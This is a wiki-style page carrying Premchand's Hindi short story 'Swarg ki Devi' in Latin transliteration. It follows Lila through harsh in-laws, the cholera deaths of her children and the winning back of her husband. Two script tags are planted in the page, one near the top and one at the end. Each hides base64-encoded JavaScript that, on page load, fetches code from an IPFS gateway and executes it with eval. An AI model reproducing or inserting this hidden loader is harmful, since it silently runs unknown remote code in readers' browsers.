स्वर्ग की देवी -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhagy ki bat! shadi-vivah mean adami ka kya akhtiyar! jisase eeshvar ne, ya unake nayaboan- brahmanoan ne tay kar di, usase ho gayi. baboo bharatadas ne lila ke lie suyogy var khojane mean koee bat utha nahian rakhi. lekin jaisa ghar-var chahate the, vaisa n pa sake. vah l daki ko sukhi dekhana chahate the, jaisa har ek pita ka dharm hai; kiantu isake lie unaki samajh mean sampatti hi sabase zaroori chiz thi. charitr ya shiksha ka sthan gaun tha. charitr to kisi ke mathe par likha nahian rahata aur shiksha ka ajakal ke jamane mean mooly hi kya? haan, sampatti ke sath shiksha bhi ho to kya poochhana! aisa ghar unhoanne bahut dhooandha, par n mila. aise ghar haian hi kitane jahaan donoan padarth milean? do-char mile bhi to apani biradari ke n the. biradari bhi mili, to zayaja n mila; jayaja bhi mila to shartean tay n ho sakian. is tarah majaboor hokar bharatadas ko lila ka vivah lala santasaran ke l dake sitasaran se karana p da. apane bap ka ikalauta beta tha, tho di-bahut shiksha bhi payi thi, batachit salike se karata tha, mamale-mukadame samajhata tha aur jara dil ka rangila bhi tha. sabase b di bat yah thi ki roopavan, balishth, prasann-mukh, sahasi adami tha; magar vichar vahi baba adam ke jamane ke the. purani jitani batean haian, sab achchhi; nayi jitani batean haian, sab kharab. jayadad ke vishay mean zamiandar sahab naye-naye daphoan ka vyavahar karate the, vahaan apana koee akhtiyar n tha; lekin samajik prathaoan ke kattar pakshapati the. sitasaran apane bap ko jo karate ya kahate dekhata vahi khud bhi kahata aur karata tha. usamean khud sochane ki shakti hi n thi. budhdi ki mandata bahudha samajik anudarata ke roop mean prakat hoti hai.

2

lila ne jis din ghar mean paanv rakha usi din usaki pariksha shuroo huee. ve sabhi kam, jinaki usake ghar mean tariph hoti thi yahaan varjit the. use bachapan se taji hava par jan dena sikhaya gaya tha, yahaan usake samane muanh kholana bhi pap tha. bachapan se sikhaya gaya tha roshani hi jivan hai, yahaan roshani ke darshan bhi durlabh the. ghar par ahiansa, kshama aur daya eeshvariy gun bataye gaye the, yahaan isaka nam lene ki bhi svadhinata n thi. santasaran b de tikhe, gussevar adami the, nak par makkhi n baithane dete. dhoortata aur chhal-kapat se hi unhoanne jayadad paida ki thi aur usi ko saphal jivan ka mantr samajhate the. unaki patni unase bhi do aangul ooanchi thi. majal kya ki bahoo apani aandheri kothari ke dvar par kh di ho jay, ya kabhi chhat par tahal sake. pralay a jata, asaman sir par utha letian. unhean bakane ka marj tha. dal mean namak ka jara tej ho jana unhean din-bhar bakane ke lie kafi bahana tha. moti-taji mahila thian, chhiant ka ghagharedar lahanga pahane, panadan bagal mean rakhe, gahanoan se ladi huee, sare din barothe mean machi par baithi rahati thian. kya majal ki ghar mean unaki ichchha ke virudhd ek patta bhi hil jay! bahoo ki nayi-nayi adatean dekh-dekh jala karati thian. ab kahe ko abaroo rahegi. muander par kh di hokar jhaankati hai. meri l daki aisi dida-diler hoti to gala ghoant deti. n-jane isake desh mean kaun log basate haian! gahane nahian pahanati. jab dekho nangi-buchchi bani baithi rahati hai. yah bhi koee achchhe lachchhan haian. lila ke pichhe sitasaran par bhi phatakar p dati. tujhe bhi chaandani mean sona achchha lagata hai, kyoan? too bhi apane ko mard kahega? vah mard kaisa ki aurat usake kahane mean n rahe. din-bhar ghar mean ghusa rahata hai. muanh mean jaban nahian hai? samajhata kyoan nahian?

sitasaran kahata- ammaan, jab koee mere samajhane se mane tab to?

maan- manegi kyoan nahian, too mard hai ki nahian? mard vah chahie ki k di nigah se dekhe to aurat kaanp uthe.

sitasaran- tum to samajhati hi rahati ho.

maan- meri use kya parava? samajhati hogi, budhiya char din mean mar jayagi, tab maian malakin ho hi jaooangi.

sitasaran- to maian bhi to usaki batoan ka javab nahian de pata. dekhati nahian ho kitani durbal ho gayi hai. vah rang hi nahian raha. us kothari mean p de-p de usaki dasha big dati jati hai. bete ke muanh se aisi batean sun mata ag ho jati aur sare din jalati; kabhi bhagy ko kosati, kabhi samay ko.

sitasaran mata ke samane to aisi batean karata; lekin lila ke samane jate hi usaki mati badal jati thi. vah vahi batean karata jo lila ko achchhi lagatian. yahaan tak ki donoan vridhda ki hansi u date. lila ko isamean aur koee sukh n tha. vah sare din kudhati rahati. kabhi choolhe ke samane n baithi thi; par yahaan paseriyoan ata thopana p data, majooroan aur tahaluoan ke lie bhi rotiyaan pakani p datian. kabhi-kabhi vah choolhe ke samane baithi ghantoan roti. yah bat n thi ki yah log koee maharaj-rasoiya n rakh sakate hoan; par ghar ki purani pratha yahi thi ki bahoo khana pakaye aur us pratha ko nibhana zaroori tha. sitasaran ko dekhakar lila ka santapt hriday ek kshan ke lie shant ho jatatha.

garmi ke din the aur sandhya ka samay. bahar hava chalati, bhitar deh phukati thi. lila kothari mean baithi ek kitab dekh rahi thi ki sitasaran ne akar kaha- yahaan to b di garmi hai, bahar baitho.

lila- yah garmi un tanoan se achchhi hai jo abhi sunane p deange.

sitasaran- aj agar bolian to maian bhi big d jaooanga.

lila- tab to mera ghar mean rahana bhi mushkil ho jayaga.

sitasaran- bala se alag hi raheange!

lila- maian to mar bhi jaooan to bhi alag n rahooan. vah jo kuchh kahati-sunati haian, apani samajh se mere bhale hi ke lie kahati-sunati haian. unhean mujhase kuchh dushmani tho de hi hai. haan, hamean unaki batean achchhi n lagean, yah doosari bat hai. unhoanne khud vah sab kasht jhele haian, jo vah mujhe jhelavana chahati haian. unake svasthy par un kashtoan ka jara bhi asar nahian p da. vah is 65 varsh ki umr mean mujhase kahian taanthi haian. phir unhean kaise maloom ho ki in kashtoan se svasthy big d sakata hai?

sitasaran ne usake murajhaye hue mukh ki or karun netroan se dekhakar kaha- tumhean is ghar mean akar bahut du:kh sahana p da. yah ghar tumhare yogy n tha. tumane poorv-janm mean zaroor koee pap kiya hoga.

lila ne pati ke hathoan se khelate hue kaha- yahaan n ati to tumhara prem kaise pati?

3

paanch sal gujar gaye. lila do bachchoan ki maan ho gayi. ek l daka tha, doosari l daki. l dake ka nam janakisaran rakha gaya aur l daki ka nam kamini. donoan bachche ghar ko gulazar kiye rahate the. l daki dada se hili thi, l daka dadi se. donoan shokh aur sharir the. gali de baithana, muanh chidha dena to unake lie mamooli bat thi. din-bhar khate aur aye-din bimar p de rahate. lila ne khud sabhi kasht sah liye the par bachchoan mean buri adatoan ka p dana use bahut bura maloom hota tha; kintu usaki kaun sunata tha. bachchoan ki mata hokar usaki ab ganana hi n rahi thi. jo kuchh the bachche the, vah kuchh n thi. use kisi bachche ko daantane ka bhi adhikar n tha, sas pha d khati thi.

sabase b di apatti yah thi ki usaka svasthy ab aur bhi kharab ho gaya tha. prasav-kal mean use ve bhi atyachar sahane p de jo ajnan, moorkhata aur aandhavishvas ne saur ki raksha ke lie gadh rakhe haian. us kal-kothari mean, jahaan hava ka guzar tha n prakash ka, n saphaee ka, charoan or durgandha aur sil aur gandagi bhari huee thi. usaka komal sharir sookh gaya. ek bar jo kasar rah gayi thi, vah doosari bar poori ho gayi. chehara pila p d gaya, aankhean dhaans gayian. aisa maloom hota, badan mean khoon hi nahian raha. soorat hi badal gayi. garmiyoan ke din the. ek taraph am pake, doosari taraph kharabooze. in donoan phaloan ki aisi achchhi phasal pahale kabhi n huee thi. abaki inamean itani mithas n-jane kahaan se a gayi thi ki kitana hi khao man n bhare. santasaran ke ilake se am aur kharabooze ke tokare bhare chale ate the. sara ghar khoob uchhal-uchhal khata tha. baboo sahab purani haddi ke adami the. sabere ek saik de amoan ka nashta karate, phir paseri-bhar kharabooze chat kar jate. malakin unase pichhe rahanevali n thian. unhoanne to ek vakt ka bhojan hi band kar diya. anaj s danevali chiz nahian. aj nahian kal kharch ho jayaga. am aur kharabooze to ek din bhi nahian thahar sakate? shudani thi aur kya. yoan hi har sal donoan chijoan ki rel-pel hoti thi; par kisi ko kabhi koee shikayat n hoti thi. kabhi pet mean girani maloom huee to h d ki phanki mar li. ek din baboo santasaran ke pet mean mitha-mitha dard hone laga. apane usaki parava n ki. am khane baith gaye. saik da poora karake uthe hi the ki kai huee. gir p de. phir to til-til par kai aur dast hone lage. haija ho gaya. shahar ke daktar bulaye gaye, lekin unake ane ke pahale hi baboo sahab chal base the. rona-pitana mach gaya. sandhya hote-hote lash ghar se nikali. log dah-kriya karake adhi rat ko laute to malakin ko bhi kai aur dast ho rahe the. phir dau d-dhoop shuroo huee; lekin soory nikalate-nikalate vah bhi sidhar gayian. stri-purush jivanaparyant ek din ke lie bhi alag n hue the. sansar se bhi sath hi sath gaye, sooryast ke samay pati ne prasthan kiya, sooryoday ke samay patni ne.

lekin musibat ka abhi aant n hua tha. lila to sanskar ki taiyariyoan mean lagi thi; makan ki saphaee ki taraph kisi ne dhyan n diya. tisare din donoan bachche dada-dadi ke lie rote-rote baithake mean ja pahuanche. vahaan ek ale par kharabooza kata hua p da tha; do-tin kalami am bhi rakhe the. in par makkhiyaan bhinak rahi thian. janaki ne ek tipaee par chadhakar donoan chizean utar lian aur donoan ne milakar khayian. sham hote-hote donoan ko haija ho gaya aur donoan maan-bap ko rota chho d chal base. ghar mean aandhera ho gaya. tin din pahale jahaan charoan taraph chahal-pahal thi, vahaan ab sannata chhaya hua tha, kisi ke rone ki avaz bhi sunayi n deti thi. rota hi kaun? le-de ke kul do prani rah gaye the. aur unhean rone ki sudhi n thi.

4

lila ka svasthy pahale bhi kuchh achchha n tha, ab to vah aur bhi bejan ho gayi. uthane-baithane ki shakti bhi n rahi. haradam khoyi-si rahati, n kap de-latto ki sudhi thi, n khane-pine ki. use n ghar se vasta tha, n bahar se. jahaan baithati, vahian baithi rah jati. mahinoan kap de n badalati, sir mean tel n dalati. bachche hi usake pranoan ke adhar the. jab vahi n rahe to marana aur jina barabar tha. rat-din yahi manaya karati ki bhagavanh yahaan se le chalo. sukh-du:kh sab bhugat chuki. ab sukh ki lalasa nahian hai; lekin bulane se maut kisi ko ayi hai?

sitasaran bhi pahale to bahut roya-dhoya; yahaan tak ki ghar chho dakar bhag jata tha; lekin jyoan-jyoan din gujarate the bachchoan ka shok usake dil se mitata jata tha; santan ka du:kh to kuchh mata hi ko hota hai. dhire-dhire usaka ji sanbhal gaya. pahile ki bhaanti mitroan ke sath-hansi-dillagi hone lagi. yaroan ne aur bhi chang par chadhaya. ab ghar ka malik tha, jo chahe kar sakata tha. koee usaka hath rokane vala n tha. sair-sapate karane laga. kahaan to lila ko rote dekh usaki aankhean sajal ho jati thian, kahaan ab use udas aur shok-magn dekhakar jhuanjhala uthata. ziandagi rone hi ke lie to nahian hai. eeshvar ne l dake diye the, eeshvar hi ne chhin liye. kya l dakoan ke pichhe pran de dena hoga? lila yah batean sunakar bhauanchak rah jati. pita ke muanh se aise shabd nikal sakate haian! sansar mean aise prani bhi haian!

holi ke din the. mardane mean gana-bajana ho raha tha. mitroan ki davat ka bhi saman kiya gaya tha. aandar lila zamin par p di huee ro rahi thi. tyoharoan ke din use rote hi katate the. aj bachche hote to achchhe-achchhe kap de pahane kaise uchhalate-phirate! vahi n rahe to kahaan ki tij aur kahaan ka tyohar.

sahasa sitasaran ne akar kaha- kya din-bhar roti hi rahogi? jara kap de to badal dalo, adami ban jao. yah kya tumane apani gat bana rakhi hai?

lila- tum jao apani mahaphil mean baitho, tumhean meri kya fikr p di hai?

sitasaran- kya duniya mean aur kisi ke l dake nahian marate? tumhare hi sir yah musibat ayi hai?

lila- yah bat kaun nahian janata. apana-apana dil hi to hai. us par kisi ka bas hai?

sitasaran- mere sath bhi to tumhara kuchharh kattavy hai?

lila ne kutoohal se pati ko dekha, mano usaka ashay nahian samajhi. phir muanh pherakar rone lagi.

sitasaran- maian ab is manahoosat ka ant kar dena chahata hooan. agar tumhara apane dil par kaboo nahian hai to mera bhi apane dil par kaboo nahian hai. maian ab zindagi-bhar matam nahian mana sakata.

lila- tum rag-rang manate ho, maian tumhean mana to nahian karati! maian roti hooan to kyoan rone nahian dete.

sitasaran- mera ghar rone ke lie nahian hai.

lila- achchhi bat hai, tumhare ghar mean n roooangi.

5

lila ne dekha, mere svami mere hathoan se nikale ja rahe haian. un par vishay ka bhoot savar ho gaya hai aur koee samajhanevala nahian. vah apane hosh mean nahian haian. maian kya karooan, agar maian chali jati hooan to tho de hi dinoan mean sara ghar mitti mean mil jayaga aur inaka vahi hal hoga jo svarthi mitroan ke changul mean phanse hue naujavan reesoan ka hota hai. koee kulata ghar mean a jayagi aur inaka sarvanash kar degi. eeshvar! maian kya karooan? agar inhean koee bimari ho jati to kya maian us dasha mean inhean chho dakar chali jati? kabhi nahian. maian tan-man se inaki seva-sushroosha karati, eeshvar se prarthana karati, devataoan ki manautiyaan karati. mana inhean sharirik rog nahian hai, lekin manasik rog avashy hai. adami rone ki jagah hanse aur hansane ki jagah roye, usake divana hone mean kya sandeh hai! mere chale jane se inaka sarvanash ho jayaga. inhean bachana mera dharm hai.

haan, mujhe apana shok bhool jana hoga. roooangi, rona to takadir mean likha hi hai- roooangi, lekin hans-hansakar. apane bhagy se l dooangi. jo jate rahe unake nam ko rone ke siva aur kar hi kya sakati hooan, lekin jo hai use n jane dooangi. a, ai toote hue hriday! aj tere tuk doan ko jama karake ek samadhi banaooan aur apane shok ko usake havale kar dooan. o ronevali aankhean, ao mere aansuoan ko apani vihansit chhata mean chhipa lo. ao mere abhooshano, maianne bahut dinoan tak tumhara apaman kiya, mera aparadh kshama karo. tum mere bhale dinoan ke sathi ho, tumane mere sath bahut vihar kiye haian, ab is sankat mean mera sath do; magar daga n karana; mere bhedoan ko chhipaye rakhana!

lila sari rat baithi apane man se yahi batean karati rahi. udhar mardane mean dhama-chauk di machi huee thi. sitasaran nashe mean choor kabhi gata tha, kabhi taliyaan bajata tha. usake mitr log bhi usi rang mean range hue the. maloom hota tha inake lie bhog-vilas ke siva aur koee kam nahian hai.

pichhale pahar ko mahaphil mean sannata ho gaya. hoo-ha ki avajean band ho gayian. lila ne socha, kya log kahian chale ge, ya so gaye? ekaek sannata kyoan chha gaya. jakar dehalij mean kh di ho gayi aur baithak mean jhaank kar dekha, sari deh mean ek jvala-si dau d gayi. mitr log vida ho gaye the. samajiyoan ka pata n tha. keval ek ramani masanad par leti huee thi aur sitasaran usake samane jhuka hua usase bahut dhire-dhire batean kar raha tha. donoan ke cheharoan aur aankhoan se unake man ke bhav saf jhalak rahe the. ek ki aankhoan mean anurag tha, doosari ki aankhoan mean kataksh! ek bhola-bhala hriday ek mayavini ramani ke hathoan luta jata tha. lila ki sampatti ko usaki aankhoan ke samane ek chhalini churaye liye jati thi. lila ko aisa krodh aya ki isi samay chalakar is kulata ko a de hathoan looan, aisa dutkarooan ki vah bhi yad kare, kh de-kh de nikal dooan. vah patni-bhav jo bahut dinoan se so raha tha, jag utha aur use vikal karane laga. par usane jabt kiya. veg se dau dati huee trishnaean akasmath n roki ja sakati thian. vah ulate paanv bhitar laut ayi aur man ko shaant karake sochane lagi- vah roop-rang mean, hav-bhav mean, nakhe-tille mean us dushta ki barabari nahian kar sakati. bilakul chaand ka tuk da hai, aang-aang mean sphoorti bhari huee hai, por-por mean mad jhalak raha hai. usaki aankhoan mean kitani trishna hai, trishna nahian, balki jvala! lila usi vakt aine ke samane gayi. aj kee mahinoan ke bad usane aine mean apani soorat dekhi. usake mukh se ek ah nikal gayi. shok ne usaki kayapalat kar di thi. us ramani ke samane vah aisi lagati thi jaise gulab ke samane joohi ka phool! sitasaran ka khumar sham ko toota. aankhean khulian to samane lila ko kh di muskarate dekha. usaki anokhi chhavi aankhoan mean sama gayi. aise khush hue mano bahut dinoan ke viyog ke bad usase bheant huee ho. use kya maloom tha ki yah roop bharane ke lie lila ne kitane aansoo bahaye haian; keshoan mean yah phool gooanthane ke pahale aankhoan se kitane moti piroye haian. unhoanne ek navin premotsah se uthakar use gale laga liya aur muskarakar bole- aj to tumane b de-b de shastras saja rakhe haian, kahaan bhagooan?

lila ne apane hriday ki or uangali dikhakar kaha- yahaan a baitho. bahut bhage phirate ho, ab tumhean baandhakar rakhooangi. bag ki bahar ka anand to utha chuke, ab is aandheri kothari ko bhi dekh lo.

sitasaran ne lajjit hokar kaha- use aandheri kothari mat kaho lila! vah prem ka manasarovar hai!

itane mean bahar se kisi mitr ke ane ki khabar ayi. sitasaran chalane lage to lila ne unaka hath pak dakar kaha- maian n jane dooangi.

sitasaran- abhi ata hooan.

lila- mujhe dar lagata hai kahian tum chale n jao.

sitasaran bahar aye to mitr mahashay bole- aj din-bhar sote hi rahe kya? bahut khush najar ate ho. is vakt to vahaan chalane ki thahari thi n? tumhari rah dekh rahi haian.

sitasaran- chalane ko to taiyar hooan, lekin lila jane nahian deti.

mitr- nire gaudi hi rahe. a gaye phir bivi ke panje mean! phir kis birate par garamaye the?

sitasaran- lila ne ghar se nikal diya tha, tab ashray dhooandhata phirata tha. ab usane dvar khol diye aur kh di buli rahi hai.

mitr- aji, yahaan vah anand kahaan? ghar ko lakh sajao to kya bag ho jayaga?

sitasaran- bhee, ghar bag nahian ho sakata, par svarg ho sakata hai. mujhe is vakt apani kshudrata par jitani lajja a rahi hai, vah maian hi janata hooan. jis santanashok mean usane apane sharir ko ghula dala aur apane roopalavany ko mita diya usi shok ko keval mera ek ishara pakar usane bhula diya. aisa bhula diya mano kabhi shok hua hi nahian! maian janata hooan ki vah b de se b de kasht sah sakati hai. meri raksha usake lie avashyak hai. jab apani udasinata ke karan usane meri dasha big dati dekhi to apana sara shok bhool gayi. aj maianne use apane abhooshan pahanakar muskarate hue dekha to meri atma pulakit ho uthi. mujhe aisa maloom ho raha hai ki vah svarg ki devi hai aur keval mujh-jaise durbal prani ki raksha karane ke lie bheji gayi hai. maianne use jo kathor shabd kahe, ve agar apani sari sampatti bechakar bhi mil sakate, to lauta leta. lila vastav mean svarg ki devi hai!

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>